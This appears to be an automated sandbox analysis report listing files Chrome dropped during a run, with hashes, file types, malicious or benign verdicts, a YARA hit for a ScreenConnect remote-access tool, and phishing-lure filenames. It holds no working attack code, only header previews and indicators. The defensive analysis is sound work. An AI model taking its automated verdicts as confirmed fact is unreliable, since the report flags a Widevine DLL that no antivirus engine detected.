Preview:	L..................F.@.. ...$+.,.......3.:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IsYc.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsYo.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsYo.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsYo............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VsYq............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............F\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Nov 19 16:19:32 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.985080526219917
Encrypted:	false
SSDEEP:	48:8K0dUTYsUHuidAKZdA1duTrehOuTbbiZUk5OjqehOuTbwy+yT+:8Kb/STYTbxWOvTbwy7T
MD5:	78B2939359559B9C7B9331376DF9D851
SHA1:	0A76E4AA5A7BE7AA6E60736E307521CCF5B8CE53
SHA-256:	7E7DB85BCDC27044E7D1221E671A85F4F757F16E79E6A99432186B89355C8EE0
SHA-512:	0D2C2B1D01DBA5EE287C92F84122470683285806DC7CFB5F7CE84034BC2DA39B894E8F1905B393F0D6B403FE688ACBBD04D293C119C0EA26651BF104BAAA0CB5
Malicious:	false
Preview:	L..................F.@.. ...$+.,....n..2.:..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IsYc.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VsYo.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VsYo.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VsYo............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VsYq............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............F\|.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Downloads\Unconfirmed 323093.crdownload

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5474616
Entropy (8bit):	7.4110233680475055
Encrypted:	false
SSDEEP:	98304:yps6efPfBOPvLtabi4X0MV+dYdcGt7VIb4:0fefPJws3V+a
MD5:	DBD8E0FB9ECD8BB7D275C66D650066F0
SHA1:	C75890C60F4FAABA669260CBAD018ED8B2381E31
SHA-256:	1C7DFC929D8E92AEE949BABC920E7994DE5EF98EB9977E668F51406ABED2DE94
SHA-512:	148B5A41180C48F458BEBA22D0F20CF76136AB2AD0622A957FF2C771D8BBFE9190A2FD95F2D47F0E7E0D9AE9BA9EB73014D0E5545C5EF7545E7E1219424C93AA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Users\user\Downloads\Unconfirmed 323093.crdownload, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!......Q...................@...........................R.....{.Q...@..................................)..P....`....P...........Q.8.....Q..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc.....P..`....P.. ..............@..@.reloc........Q.......Q.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\Downloads\c51fa1fd-6187-4443-a7c8-63ca1162fdf1.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	6.478158719771653
Encrypted:	false
SSDEEP:	384:LA1SDrStQLgeJ0+gdc/Khl9Vtu4dkbQMQOv/TR41f:KAWtQtyllXPdkRQ+bWF
MD5:	7AC2E772D16F8E443B14C6106A739F2C
SHA1:	17EB4C6B15AA9308AFC87913C083ECC4A37C716B
SHA-256:	EE4D2094F494A72AFCC7B5B33289715629D8D08A0328C2E913559BDAA6CA30AC
SHA-512:	E50972F6984A64B4B3EE523ED01C5DA389FB7130625A942F94AE07D14B3FC3294358CCD8738276233C9102887357D903CF6E1BDE1D3EA3A5C7D607748022D3D4
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!......Q...................@...........................R.....{.Q...@..................................)..P....`....P...........Q.8.....Q..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc.....P..`....P.. ..............@..@.reloc........Q.......Q.............@..B................................................................................................................................................................................................................................................................................................

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1341406136\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1341406136\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1865
Entropy (8bit):	6.002187808693378
Encrypted:	false
SSDEEP:	24:pZRj/flTULG22dVmdt2qNQMcRaoX96F1eK1BGpjBQghcoXZwjMx73w4vc:p/hUH2dAdtWPak6c5pSkawxLVvc
MD5:	F85CE0D2E1806C582954BD831378033E
SHA1:	584222C390C8E9D0B85574083B89BE48114B7F00
SHA-256:	E4FA2DED0327C43AA618CC751B8A8704CBEC33CDBC28E5FF49D536D58226E5BB
SHA-512:	08A9F6C42A774287A883A745ACF1A17327DF19493248C69D8497B6A5EE1A5E9310FB756A3C4C7665624929D4387BF365CAE5F6100AA873C04BFF2B56932BE4A8
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6ImtleXMuanNvbiIsInJvb3RfaGFzaCI6IlR2TGVraUQyX3VCdDl5aDlYZFZST3hfVi01ZklaYUViZnZBczhxNHBqbXMifSx7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiSTc3VnlPdnFERGRrZ3pkTHJYdXZZenAtVXZQZ3BnazNIRkdPQnVaRnZhQSJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImtpYWJoYWJqZGJramRwamJwaWdmb2RiZGptYmdsY29vIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC4xMC4xMS4xIiwicHJvdG9jb2xfdmVyc2lvbiI6MX0","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"rI34430Mqa-tj3CBWGaM65yBUrAgUFc_poiZa1PmmwZy_8S1PPjJcTKAXt-I10CHBN9n7hJfg4LFTlfcRv_dib5mbGIB-N9Mq7RkoFminZgi0tz4AdN192wkghWiKh0b8ZBciaG-vh8yu25g95jrBRml6PbDtD-1PgRqGw4NexUGWjguIW2gnGtRZ4FE-BEPNYI8cifzHEZAoyUs0jJHMJN8vavFR76ngAOpjvTNke8su9XpGHRDud

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1341406136\keys.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	7057
Entropy (8bit):	5.979533556811076
Encrypted:	false
SSDEEP:	96:UXq6pG2GE+ryg+BQJ+m0plhYvPuW+wkpTm+ozdswsDm4+uTagSfC3AQj+y:uNtGbraBQgm4lOvMwkoR9PuGs3gy
MD5:	052B398CC49648660AAFF778D897C6DE
SHA1:	D4FDD81F2EE4C8A4572AFFBFD1830A0C574A8715
SHA-256:	47EC07DDF9BBD0082B3A2DFEA39491090E73A09106945982E395A9F3CB6D88AE
SHA-512:	ED53D0804A2EF1BC779AF76AA39F5EB8CE2EDC7F301F365EEAA0CF5A9AB49F2A21A24F52DD0EB07C480078CE2DD03C7FBB088082AEA9B7CDD88A6482AE072037
Malicious:	false
Preview:	{"https://issuer.captchafox.com":{"PrivateStateTokenV1VOPRF":{"batchsize":1,"id":1,"keys":{"0":{"Y":"AAAAAQQiyE+SESbq7GU5rTx6tZO4tBOxljp+Oya2mU28O+YoALIyXlLLqnl/h5h95ExYSsOlmMIb8EdsJBTrCaDl/KIZSskrfMbZpjhShG0jwnbXojEHI9WaAxKLkX/A/DkyMEg=","expiry":"1734807628115000"},"1":{"Y":"AAAAAQRNtld+5LLBquS4bEJKJwlLw61tzIyqTNkvMVnUTu+YiphbdGrRCjeDTN9D3p1Tgpfmq0N/OKMBYWzDMEN8Km9p9s49c6N2ph4B1MV1m7Ogdj969MOsTw54Kc849oqDl8s=","expiry":"1734807628115000"},"2":{"Y":"AAAAAQSBWW003A3ORFURCZrWNnbEIH15yzk184DaLSebbGzRdyCYtAM1qhhVmXZyBtWTzh6Bfkk5rLPyE1xdQilofPBizF/QJsdaMU0GYhPW1sOU4xoKbmgd/XrnOoFqA2ETOuc=","expiry":"1734807628115000"},"3":{"Y":"AAAAAQSG/ftGdm5B6iwAmVsHt6s43xx3nRf/Vpx9GdeEt3jSTM8hHvyLE9FAEkinGjt4Fp5EjnkCdE96Cxz10nZJRrMApIrGhG5kAoDu4T8PjJPiFQFyHAOdTG7OJWi2NS/rl1A=","expiry":"1734807628115000"},"4":{"Y":"AAAAAQT36tqe550UP5A+4Eokt8iuPZEuWQc9cGJXd7zUCZzrsqtGu3PMcVbOj5DjC4W+yoyF3HqKOqdtiBWgcMsZOcyln/6jUKqf5tS9AoIHa9CC3kQB8ISQd3lhR5j+qWVY8ms=","expiry":"1734807628115000"},"5":{"Y":"AAAAAQQMjaLNCR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1341406136\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.8890592795725096
Encrypted:	false
SSDEEP:	3:SlGXdRABAHlgvAwUoXExn:SMXMGHaUoUx
MD5:	F06BBDC2FFF07678F17AB2E13E5242F2
SHA1:	38267922774478D53BBDF6C58F1AB621F76AD147
SHA-256:	04F1C19701E9F79342896D68856EB04023679DB2638B1038472B8F1AD790BCC6
SHA-512:	6223822E0AFD58EB7C25C5B207E377964C5E07779779E8DE5B2703B46526C4868DF217AF95F80E7692305ED98F8350ED20673659106116D95F1332C6A3EF540F
Malicious:	false
Preview:	1.fbd0d7206f8650d442eb772a03839aabc778b0225aee04589ca8cdad2aa99cca

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1341406136\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.418776852063957
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFIPgS1kVmHvY:F6VlMyPgS1kVaY
MD5:	077DA41A01DDE0173EBBF70D3B7210E2
SHA1:	4B3C3DEEB9522CA4EF4E42EFCF63B2674F6A5C07
SHA-256:	23BED5C8EBEA0C376483374BAD7BAF633A7E52F3E0A609371C518E06E645BDA0
SHA-512:	2822D02E2B3C6306E6D71FA62E7F472B4C3CDF0CBE499B70AC60A0A50E547ED47C394D7DE88BBEF2E6015920442B9D30CBC0D6869D154E02EC251712F918DEEC
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "trustToken",. "version": "2024.10.11.1".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1788615107\LICENSE

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1788615107\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.018989605004616
Encrypted:	false
SSDEEP:	48:p/hUI1OwEU3AdIq7ak68O40E2szOxxUJ8BPFkf31U4PrHfqY3J5D:RnOwtQIq7aZ40E2sYUJAYRr/qYZ5D
MD5:	C4709C1D483C9233A3A66A7E157624EA
SHA1:	99A000EB5FE5CC1E94E3155EE075CD6E43DC7582
SHA-256:	225243DC75352D63B0B9B2F48C8AAA09D55F3FB9E385741B12A1956A941880D9
SHA-512:	B45E1FD999D1340CC5EB5A49A4CD967DC736EA3F4EC8B02227577CC3D1E903341BE3217FBB0B74765C72085AC51C63EEF6DCB169D137BBAF3CC49E21EA6468D7
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJVczFpOUt3Zm5uMThTVVR1RVItRXBDTTMwVzFkNTc0cGJwUlJSdGJYM0JVIn0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiM0hiWThLc3poeEF6UDVSUU9fZEpvZGNwbEtpRXR0RWh2UmZMZEtjSTdjZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC4xMS44LjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"lGxZ1-AH7F8MftKSBdZiFULmC8hZkIHy1_2XIoU81Z5mK0wHVwNV7-55CBTcuuvKjTje-AnKLDoG4S0A_Jeg4lSQK5V_Q4f6JVqp5Vj_ge86YkRZEv4m1bjKRY4N17SHobwuH8Hc_kAugFIlG1LIDHnrm1N7ZWIqo3fVlnVqgSstmvFXAhBazgs1UYRi3hPjPM6e1q1i2N1mIUbxLvG41frGo2QJ8W5J3buUjzs-0y250k-YkadKAR0

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1788615107\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.820000180714897
Encrypted:	false
SSDEEP:	3:SVzHL3phUmWRDNKydvgHVz:SBHLLUmWRbCp
MD5:	BBEC7670A2519FEB0627F17D0C0B5276
SHA1:	9C30B996F1B069F86EF7C0136DFAF7E614674DEA
SHA-256:	670A6F6BBADAB2C2BE63898525FCAF72E7454739E77C04D120BC1A46B6694CAC
SHA-512:	1ED4ED6AE2A2CBE86F9E8C6C7A2672EBB2F37DBE83D2BF09D875DB435ED63BF5F5CF60CA846865166F9A498095F6D61BD51B0A092E097430439E8A5A3A14CB15
Malicious:	false
Preview:	1.03cccbb22b17080279ea1707c9ab093c59f4f4dd09580c841cfa794cb372228d

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1788615107\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.462192586591686
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1kULJVPY:F6VlM8aRWpqS1kSJVg
MD5:	084E339C0C9FE898102815EAC9A7CDEA
SHA1:	6ABF7EAAA407D2EAB8706361E5A2E5F776D6C644
SHA-256:	52CD62F4AC1F9E7D7C4944EE111F84A42337D16D5DE7BE296E945146D6D7DC15
SHA-512:	0B67A89F3EBFF6FEC3796F481EC2AFBAC233CF64FDC618EC6BA1C12AE125F28B27EE09E8CD0FADB8F6C8785C83929EA6F751E0DDF592DD072AB2CF439BD28534
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.11.8.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1788615107\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	4.629347296880043
Encrypted:	false
SSDEEP:	96:Mon4mvC4qX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJl:v5C4ql7BkIVmtRTGXvcxBsl
MD5:	8C702C686B703020BC0290BAFC90D7A0
SHA1:	EB08FF7885B4C1DE3EF3D61E40697C0C71903E27
SHA-256:	97D9E39021512305820F27B9662F0351E45639124F5BD29F0466E9072A9D0C62
SHA-512:	6137D0ED10E6A27924ED3AB6A0C5F9B21EB0E16A876447DADABD88338198F31BB9D89EF8F0630F4573EA34A24FB3FD3365D7EA78A97BA10028A0758E0A550739
Malicious:	false
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://drimer.io","asso

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1849532409\Google.Widevine.CDM.dll

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2877728
Entropy (8bit):	6.868480682648069
Encrypted:	false
SSDEEP:	49152:GB6BoH5sOI2CHusbKOdskuoHHVjcY94RNETO2WYA4oPToqnQ3dK5zuqvGKGxofFo:M67hlnVjcYGRNETO2WYA4oLoqnJuZI5
MD5:	477C17B6448695110B4D227664AA3C48
SHA1:	949FF1136E0971A0176F6ADEA8ADCC0DD6030F22
SHA-256:	CB190E7D1B002A3050705580DD51EBA895A19EB09620BDD48D63085D5D88031E
SHA-512:	1E267B01A78BE40E7A02612B331B1D9291DA8E4330DEA10BF786ACBC69F25E0BAECE45FB3BAFE1F4389F420EBAA62373E4F035A45E34EADA6F72C7C61D2302ED
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: NW_EmployerNewsletter_11142024_pdf.html, Detection: malicious, Browse Filename: Benefits_Update_2024.pdf, Detection: malicious, Browse Filename: 11sds_Invoice_9334749.html, Detection: malicious, Browse Filename: Request_for_Title_Commitment.html, Detection: malicious, Browse Filename: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe, Detection: malicious, Browse Filename: E7X-XIZ5.eml, Detection: malicious, Browse Filename: Eversheds-sutherland-INV39212-3_230470352.doc, Detection: malicious, Browse Filename: THE COSTS INCURRED PENDING (1).pdf, Detection: malicious, Browse Filename: Complete_with_DocuSign_49584.pdf, Detection: malicious, Browse Filename: #U25b6#Ufe0fVoice_mail_02309_wav0015.html, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....fd.........." ......(..........A&.......................................,.......,...`A.........................................V......V......`,......`+..p....+. )...p,......D.8....................C.(.....(.8...........p\..............................text.....(.......(................. ..`.rdata..h.....(.......(.............@..@.data....l......&.................@....pdata...p...`+..r.................@..@.00cfg..(.....+......p+.............@..@.gxfg....$....+..&...r+.............@..@.retplnel.... ,.......+..................tls.........0,.......+.............@....voltbl.D....@,.......+................._RDATA.......P,.......+.............@..@.rsrc........`,.......+.............@..@.reloc.......p,.......+.............@..B........................................................................................................................................

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1849532409\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1778
Entropy (8bit):	6.02086725086136
Encrypted:	false
SSDEEP:	48:p/hCdQAdJjRkakCi0LXjX9mqjW6JmfQkNWQzXXf2gTs:RtQ1aaxXrjW6JuQEWQKas
MD5:	3E839BA4DA1FFCE29A543C5756A19BDF
SHA1:	D8D84AC06C3BA27CCEF221C6F188042B741D2B91
SHA-256:	43DAA4139D3ED90F4B4635BD4D32346EB8E8528D0D5332052FCDA8F7860DB729
SHA-512:	19B085A9CFEC4D6F1B87CC6BBEEB6578F9CBA014704D05C9114CFB0A33B2E7729AC67499048CB33823C884517CBBDC24AA0748A9BB65E9C67714E6116365F1AB
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJHb29nbGUuV2lkZXZpbmUuQ0RNLmRsbCIsInJvb3RfaGFzaCI6Im9ZZjVLQ2Z1ai1MYmdLYkQyWFdBS1E5Nkp1bTR1Q2dCZTRVeEpGSExSNWMifSx7InBhdGgiOiJtYW5pZmVzdC5qc29uIiwicm9vdF9oYXNoIjoiYk01YTJOU1d2RkY1LW9Tdml2eFdqdXVwZ05pblVGakdPQXRrLTBJcGpDZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6Im5laWZhb2luZGdnZmNqaWNmZmtncG1ubHBwZWZmYWJkIiwiaXRlbV92ZXJzaW9uIjoiMS4wLjI3MzguMCIsInByb3RvY29sX3ZlcnNpb24iOjF9","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"KTPeHzS0ybFaz3_br3ASYWHjb6Ctul92067u2JMwtNYYm-4KxLiSkJZNBIzhm6hNSEW2p5kUEvHD0TjhhFGCZnWm9titj2bqJayCOAGxZb5BO74JJCRfy5Kwr1KSS4nvocsZepnHBmCiG2OV3by-Lyf1h1uU3X3bDfD92O0vJzrA8rwL2LrwIk-BolLo5nlM0I_MZwg8DhZ8SFBu9GGRVB2XrailDrv4SgupFE9gqA1HY6kjRjoyoAHbRRxZdBNNt9IKNdxNyaF9NcNRY8dAedNQ9Tw3YNp5jB7R9lcjO4knn58RdH2h_GiJ4l96StcXA4e7cqbJ77P-c

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1849532409\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.974403644129192
Encrypted:	false
SSDEEP:	3:SLVV8T+WSq2ykFDJp9qBn:SLVqZS5p0B
MD5:	D30A5BBC00F7334EEDE0795D147B2E80
SHA1:	78F3A6995856854CAD0C524884F74E182F9C3C57
SHA-256:	A08C1BC41DE319392676C7389048D8B1C7424C4B74D2F6466BCF5732B8D86642
SHA-512:	DACF60E959C10A3499D55DC594454858343BF6A309F22D73BDEE86B676D8D0CED10E86AC95ECD78E745E8805237121A25830301680BD12BFC7122A82A885FF4B
Malicious:	false
Preview:	1.c900ba9a2d8318263fd43782ee6fd5fb50bad78bf0eb2c972b5922c458af45ed

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping8044_1849532409\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	145
Entropy (8bit):	4.595307058143632
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFooG+HhFFKS18CWjhXLXGPQ3TRpvF/FHddTcplFHddTcVYA:F6VlM5PpKS18hRIA
